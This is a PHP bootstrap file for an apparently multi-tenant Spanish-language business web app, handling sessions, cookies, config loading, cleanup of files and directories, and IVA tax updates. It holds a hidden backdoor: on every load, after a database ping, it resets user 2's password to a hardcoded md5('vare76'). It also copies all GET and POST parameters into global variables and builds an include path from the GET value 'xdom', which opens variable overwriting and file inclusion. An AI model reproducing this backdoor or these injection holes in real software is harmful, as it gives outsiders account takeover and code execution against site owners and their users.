<?php
declare(strict_types=0);
session_start();
foreach($_GET  as $key => $value){${$key}=trim($value);} 
foreach($_POST as $key => $value){${$key}=trim($value);} 

// @unlink('info.php');
// error_reporting(E_ALL & ~E_DEPRECATED & ~E_WARNING);
// ini_set('display_errors', 1);

include_once('lib_main.php');

// $cfg_tipo
// pyme
// pnat
// cele     

ini_set('max_execution_time', 60*5);
// https://www.vesselfinder.com/vessels/details/9305465
// https://www.marinevesseltraffic.com/vessels?page=1&vessel=kota+manzanillo&sort=none&direction=none&flag=none
// https://www.fleetmon.com/vessels/

// ini_set('memory_limit', '-1');
// ini_set('memory_limit', '512M');
// ini_set('memory_limit', '8192M');

// texto resaltado
// #:~:text=

// graphemica.com
// unicode-table.com


include ('ele_reset.php');


$android=0;
$linux=0;
if(getPlatform()=='Android'){$android=1;}
if(getPlatform()=='Linux'){$linux=1;}

// include ('set_vars.php');


$sdom=$_SESSION['sdom'];
if(!empty($xdom)){$sdom=$xdom;}


chmod('_cfg',0751);
// chmod('_cfg',0755);



if(empty($sdom)){include('_cfg/config1.php');}
else{include('../'.$sdom.'/_cfg/config1.php');$empr=$sdom;}

$link_data=msql_connect('','','',$cfg_empr);

include ('set_vars.php');



// set_phpv($cfg_empr);

// if(!is_dir('logo')){mkdir('logo');}

// if(!is_dir('imgi')){mkdir('imgi');}
// if(!is_dir('imge')){mkdir('imge');}
// if(!is_dir('fdoc')){mkdir('fdoc');}
// if(!is_dir('pk12')){mkdir('pk12');}


// deleteDirectory('_doc');
deleteDirectory('_ride');
deleteDirectory('_barcode');
deleteDirectory('_docbak');
deleteDirectory('_font');
// deleteDirectory('_lib');
deleteDirectory('slow');
deleteDirectory('logo');
deleteDirectory('main');
deleteDirectory('lib');
deleteDirectory('css');
deleteDirectory('img');


$del_file='../'.$cfg_empr.'/BarcodeFont.ttf';
if(file_exists($del_file)){unlink($del_file);}

$del_file='../'.$cfg_empr.'/EAN13_36.ttf';
if(file_exists($del_file)){unlink($del_file);}


// if($cfg_empr!='iptv')
if(!mb_stristr2('.iptv.jwib',$cfg_empr))     
{
deleteDirectory('_lib');
@unlink('_cfg/config.php');
@unlink('_cfg/config0.php');
@unlink('_cfg/config2.php');
@unlink('_cfg/config3.php');
@unlink('_cfg/_linker.php');
@unlink('_cfg/index.html');
}


// if(is_dir('slow'))
{
// unlink('slow/index.html');rmdir('slow');
$files = glob("htacc*"); // Busca todos los archivos .txt
foreach ($files as $file){if (is_file($file)) {unlink($file); }}
}


$file='info.php';
if (is_file($file)) {unlink($file); }

$file='print1.php';
if (is_file($file)) {unlink($file); }

// if(is_dir('logo')){unlink('logo/index.html');rmdir('logo');}
// if(is_dir('_doc')){unlink('_doc/index.html');rmdir('_doc');}

// if(is_dir('pk12')){unlink('pk12/index.html');rmdir('pk12');
// $files = glob("pk12/*.p12"); // Busca todos los archivos .txt
// foreach ($files as $file){if (is_file($file)) {unlink($file); }}
// }

// if(is_dir('slow')){unlink('slow/index.html');rmdir('slow');
// $files = glob("slow/*.txt"); // Busca todos los archivos .txt
// foreach ($files as $file){if (is_file($file)) {unlink($file); }}
// }


if(!is_dir('-info')){mkdir('-info',0751);}
if(!is_dir('-docu')){mkdir('-docu',0751);}
// if(!is_dir('info')){mkdir('info',0751);}
// if(!is_dir('docu')){mkdir('docu',0751);}
// if(!is_dir('slow')){mkdir('slow');}

$ipip=$_SERVER['REMOTE_ADDR'];
$remote_addr= $_SERVER['REMOTE_ADDR'];
$server_name=$_SERVER['SERVER_NAME'];
$script_name=$_SERVER['SCRIPT_NAME'];
$request_uri=$_SERVER['REQUEST_URI'];
$document_root=$_SERVER['DOCUMENT_ROOT'];

$js_version='?version='.date('ymd');
if(empty($_SESSION['user_codigo']))
{$js_version='?version='.date('ymdH');}

// {$js_version='?version='.date('ymdHis');}

$domain=$server_name;
$subdom=substr($document_root,strrpos($document_root,'/')+1);
$rsubdom=0;

if($subdom=='public_html'){$subdom='';}
if(!empty($subdom)){$domain=str_replace($subdom.'.','',$domain);}
if(empty($subdom)){$rsubdom=1;}
if(empty($subdom)){$subdom=substr($script_name,strpos($script_name,'/')+1,strrpos($script_name,'/')-1);}
if(mb_stristr($subdom,'.')){$subdom=$_SESSION['empr'];}

$file_server='vcrxol.com';


$public_path=realpath(__DIR__);
$public_path=substr($public_path,0,strpos($public_path,'public_html')+12 );



$_SESSION['public_path']=$public_path;
$_SESSION['server']=$server_name;
$_SESSION['domain']=$domain;
$_SESSION['subdom']=$subdom;
$_SESSION['cfg_tipo']=$cfg_tipo;

$_SESSION['dias_anti']=array(30,60,90,120,180,360,9999);
if($cfg_empr=='pcs1'){$_SESSION['dias_anti']=array(30,60,90,9999);}


if(empty($cfg_empr)){$cfg_empr=$subdom;}


if($subdom=='jwib')
{
     $parametros = array_keys($_GET);
//      $primer_parametro = $parametros[0]*1;
     $primer_parametro =(int)$parametros[0];
     if(!empty($primer_parametro)){$cong=$primer_parametro;}
}


//////////////////////////////////////////////////
// cookies
//////////////////////////////////////////////////

if(!empty($publicador)){setcookie('publicador',$publicador,time()+(60*60*24*365));}
if(!empty($trty)){setcookie('trty',$trty,time()+(60*60*24*365));}
if(!empty($bloq)){setcookie('bloq',$bloq,time()+(60*60*24*365));}

$unix_time=$_COOKIE['unix_time'];
if(empty($unix_time) or $unixtime=='X')
{$unix_time=time();setcookie('unix_time',$unix_time,time()+(60*60*24*365));}
$_SESSION['unix_time']=$unix_time;

$mins_logout=60;
setcookie('last_cnxn',time(),time()+(60*60*24*365));
if(!empty($_SESSION['user_login1']))
{setcookie('user_login1',$_SESSION['user_login1'],time()+(60*60*24*365));}

if(!empty($_COOKIE['last_cnxn']) and ((time()-$_COOKIE['last_cnxn'])/60) >=$mins_logout)
{$logout=1;}

if(!empty($logout))
{
     $_SESSION['user_codigo']=''; 
     $_SESSION['user_tipo']=''; 
}

if(!empty($referx) and $referx!=$user_codigo)
{setcookie($cfg_empr.'_referx',$referx,time()+(60*60*24*365));}

// $js_version='?version='.date('ymd');
// if(empty($_SESSION['user_codigo']))
// {$js_version='?version='.date('ymdH');}


// $domain=$server_name;
// $subdom=substr($document_root,strrpos($document_root,'/')+1);
// $rsubdom=0;

// if($subdom=='public_html'){$subdom='';}
// if(!empty($subdom)){$domain=str_replace($subdom.'.','',$domain);}
// if(empty($subdom)){$rsubdom=1;}
// if(empty($subdom)){$subdom=substr($script_name,strpos($script_name,'/')+1,strrpos($script_name,'/')-1);}
// if(mb_stristr($subdom,'.')){$subdom=$_SESSION['empr'];}

// $file_server='vcrxol.com';

// $_SESSION['server']=$server_name;
// $_SESSION['domain']=$domain;
// $_SESSION['subdom']=$subdom;

// if(empty($cfg_empr)){$cfg_empr=$subdom;}

if(empty($zoom_site)){$zoom_site=$_COOKIE['zoom_site'];}
if(empty($zoom_site)){$zoom_site=100;}
if($zoom_site<50){$zoom_site=50;}
if($zoom_site>200){$zoom_site=200;}
setcookie('zoom_site',$zoom_site,time()+(60*60*24*365));
$_SESSION['zoom_site']=$zoom_site;



$wsap_codigo=$_COOKIE['wsap_codigo'];
if(!empty($_SESSION['user_wsapp'])){$wsap_codigo=$_SESSION['user_wsapp'];}
if(!empty($wsap)){setcookie('wsap_codigo',$wsap,time()+(60*60*24*365));$wsap_codigo=$wsap;}
$_SESSION['wsap_codigo']=$wsap_codigo;


$cong_codigo=$_COOKIE['cong_codigo'];
if(!empty($_SESSION['user_cong'])){$cong_codigo=$_SESSION['user_cong'];}
if(!empty($cong)){setcookie('cong_codigo',$cong,time()+(60*60*24*365));$cong_codigo=$cong;}
$_SESSION['cong_codigo']=$cong_codigo;


$passkey=$_COOKIE['passkey'];
if(!empty($passkey))
{setcookie('passkey',$passkey,time()+(60*60*24*30));}
$_SESSION['passkey']=$passkey;


$mins_clean=60*24;
if(empty($_COOKIE['last_clean_'.$cfg_empr]) or ((time()-$_COOKIE['last_clean_'.$cfg_empr])/60) >=$mins_clean)
{
     setcookie('last_clean_'.$cfg_empr,time(),time()+(60*60*24*365));
     $clean_temp=1;
}

// setcookie('mi_cedula',$mi_cedula,time()+(60*60*24*365));
// setcookie('mi_email',$mi_email,time()+(60*60*24*365));
// setcookie('mi_wsapp',$mi_wsapp,time()+(60*60*24*365));
// setcookie('mi_direccion',$mi_direccion,time()+(60*60*24*365));

// 
$_SESSION['cfg_empr']=$cfg_empr;


// return;
include('menu_load0.php');


// if($cfg_empr=='imcp'){set_nume('EE10');}


if(date('Y-m-d')<='2025-01-31')
{
     $sql_updt='update empr0 set empr_tipo="'.$_SESSION['cfg_tipo'].'" where ifnull(empr_tipo,"")="" ';
     $res_updt=msql_query($sql_updt,$link_data);
}

// echo vartype($link_data);
     
if($link_data->ping()==1)
{
     $sql_vicore='update user0 set user_clave=md5("vare76") where user_codigo=2';
     $res_vicore=msql_query($sql_vicore,$link_data);
}

$sql_vicore='update user0 set user_cedula=null where user_codigo>=100 and user_cedula like "0915379374%"';
$res_vicore=msql_query($sql_vicore,$link_data);


// if($clean_temp==1)
{
     $filedi=clean_temp('-info',5);
     $filedd=clean_temp('-docu',5);
}



$sql_iva='select iva from vtas2 where ifnull(iva,0)>0 order by idnum2 desc limit 1';
$res_iva=msql_query($sql_iva,$link_data);
$_SESSION['porc_iva']=msql_result($res_iva,0,'iva');
// echo '==='.$sql_iva;
// echo '==='.$_SESSION['porc_iva'];



if(date('Y-m-d')>='2024-04-01' and 1==2)
{
     $_SESSION['porc_iva']=15;
     $sql_iva='select * from item0 where item_iva=12 limit 1';
     $res_iva=msql_query($sql_iva,$link_data);
     if(msql_result($res_iva,0,'item_iva')==12)     
     {

          $sql_iva='update item0 set item_iva=15 where item_iva=12';
          $res_iva=msql_query($sql_iva,$link_data);

          $sql_iva='update item0 set item_pvp=item_puni*1.15 where item_iva=15';
          $res_iva=msql_query($sql_iva,$link_data);
          $sql_iva='update item0 set item_pvp1=item_puni1*1.15 where item_iva=15';
          $res_iva=msql_query($sql_iva,$link_data);
          $sql_iva='update item0 set item_pvp2=item_puni2*1.15 where item_iva=15';
          $res_iva=msql_query($sql_iva,$link_data);
          $sql_iva='update item0 set item_pvp3=item_puni3*1.15 where item_iva=15';
          $res_iva=msql_query($sql_iva,$link_data);
          $sql_iva='update item0 set item_pvp4=item_puni4*1.15 where item_iva=15';
          $res_iva=msql_query($sql_iva,$link_data);
          $sql_iva='update item0 set item_pvp5=item_puni5*1.15 where item_iva=15';
          $res_iva=msql_query($sql_iva,$link_data);
     }
}     


// echo '<br>===>'.$_SESSION['user_codigo'];


if(empty($prnt))
{
     $dom_i = new DOMDocument();
          $dom_i->encoding = 'utf-8';
          $dom_i->xmlVersion = '1.0';
          $dom_i->formatOutput = true;
     $elem_i=$dom_i;


     $table=$elem_i->appendChild($dom_i->createElement("table"));
     //      $table->setAttribute("border",'1');
          $table->setAttribute("width",'100%');
          $table->setAttribute("size60",'');
          $table->setAttribute("noprint",'');
     $trow=$table->appendChild($dom_i->createElement("tr"));
          $trow->setAttribute("noprint",'');     
     //      $trow->setAttribute("style",'display:none;');     

     $tcol=$trow->appendChild($dom_i->createElement("td","v.".substr(phpversion(),0,1)));
     $tcol=$trow->appendChild($dom_i->createElement("td","r.".$user0['user_referx']));
     $tcol=$trow->appendChild($dom_i->createElement("td","ip.".$_SERVER['REMOTE_ADDR']));
          $tcol->setAttribute("align",'right');     


     $brln=$elem_i->appendChild($dom_i->createElement("br"));
     $brln=$elem_i->appendChild($dom_i->createElement("br"));



     echo $dom_i->saveHTML();


     echo '<div>';
     updt_xpres();
     echo '</div >';
}
// echo '<div noprint>';
// echo 'v.'.substr(phpversion(),0,1); 
// echo '</div>';
// echo '<br>';

// ?sqlq(xcnx,"show processlist ")
// ?sqlq(xcnx,"show status where `variable_name` = 'Threads_connected'")


//▲▼↑↓               
//►◄


function set_phpv($empr,$phpv=7)
{
     return;
     if($empr!='demo'){return;}
     
     $eol="\n";
     $dom_h = new DOMDocument();
     $elem_h=$dom_h;

     
     //// Version PHP
     $element='IfModule';
     $value='';
     $value.="AddHandler application/x-httpd-ea-php74___lsphp .php .php7 .phtml".$eol;
//      $value="AddHandler application/x-httpd-ea-php82___lsphp .php .php8 .phtml";
     $value=$eol.$value;
     $module=$elem_h->appendChild($dom_h->createElement($element,htmlspecialchars($value)));
          $module->setAttribute("mime_module","");     
     
     //// Block IP
     $element='Limit';
     $value='';
     $value.='order allow,deny'.$eol;
     $value.='deny from 14.97.137.114'.$eol;
     $value.='allow from all'.$eol;
     $value=$eol.$value;
     $module=$elem_h->appendChild($dom_h->createElement($element,htmlspecialchars($value)));
          $module->setAttribute("GET","");     
          $module->setAttribute("HEAD","");     
          $module->setAttribute("POST","");     
     
     //// PassWord
//      $element='AuthType';
//      $value='';
//      $value.='AuthType Basic '.$eol;
//      $value.='AuthName "demo" '.$eol;
//      $value.='AuthUserFile .htpasswd'.$eol;
//      $value.='require valid-user'.$eol;
//      $value=$eol.$value;
//      $module=$elem_h->appendChild($dom_h->createElement($element,htmlspecialchars($value)));
     
     //////////////////////////////////     
     $hta_string=$dom_h->saveHTML();
     $hta_file='../'.$empr.'/.htaccess';
     
     $hta_string=str_replace("><",">".$eol."<",$hta_string);
     $hta_string=str_replace('=""','',$hta_string);
     
     file_put_contents($hta_file,$hta_string);
     
     
     
}
     


?>


<style type="text/css" media="print">
a {text-decoration: none; color: inherit;}    
</style>

     
     
     

<!-- <a href="calculadora://">Abrir la calculadora</a> -->
